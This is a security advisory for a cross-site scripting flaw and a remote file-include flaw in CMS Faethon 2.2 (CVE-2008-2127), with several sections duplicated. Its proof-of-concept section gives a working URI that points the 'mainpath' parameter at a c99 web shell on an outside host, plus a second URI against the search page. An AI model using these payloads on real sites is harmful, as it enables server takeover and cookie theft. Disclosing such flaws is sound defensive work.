CMS Faethon Cross Site Scripting Vulnerability and Remote File Include Vulnerability
BID:29099
Info
CMS Faethon Cross Site Scripting Vulnerability and Remote File Include Vulnerability
| Bugtraq ID: | 29099 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-2127 |
| Remote: | Yes |
| Local: | No |
| Published: | May 07 2008 12:00AM |
| Updated: | May 07 2015 05:29PM |
| Credit: | RoMaNcYxHaCkEr |
| Vulnerable: |
CMS Faethon CMS Faethon 2.2 |
| Not Vulnerable: | |
Discussion
CMS Faethon Cross Site Scripting Vulnerability and Remote File Include Vulnerability
CMS Faethon is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary code within the context of the webserver process, execute script code in a user's browser, steal cookie-based authentication credentials, and launch other attacks.
CMS Faethon 2.2 is vulnerable; other versions may also be affected.
CMS Faethon is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to properly sanitize user-supplied input.
Attackers can exploit these issues to execute arbitrary code within the context of the webserver process, execute script code in a user's browser, steal cookie-based authentication credentials, and launch other attacks.
CMS Faethon 2.2 is vulnerable; other versions may also be affected.
Exploit / POC
CMS Faethon Cross Site Scripting Vulnerability and Remote File Include Vulnerability
An attacker can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following proof-of-concept URIs are available:
http://WwW.4RxH.CoM/22_ultimate/templates/header.php?mainpath=http://rxh.freehostia.com/shells/c99in.txt?
http://WwW.4RxH.CoM/22_ultimate/search.php?what=&where=articles
An attacker can use a browser to exploit these issues. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting victim to follow a malicious URI.
The following proof-of-concept URIs are available:
http://WwW.4RxH.CoM/22_ultimate/templates/header.php?mainpath=http://rxh.freehostia.com/shells/c99in.txt?
http://WwW.4RxH.CoM/22_ultimate/search.php?what=&where=articles
Solution / Fix
CMS Faethon Cross Site Scripting Vulnerability and Remote File Include Vulnerability
Solution:
Currently we are not aware of any vendor-supplied fixes. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied fixes. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
CMS Faethon Cross Site Scripting Vulnerability and Remote File Include Vulnerability
References:
References:
- CMS Faethon Homepage (CMS Faethon)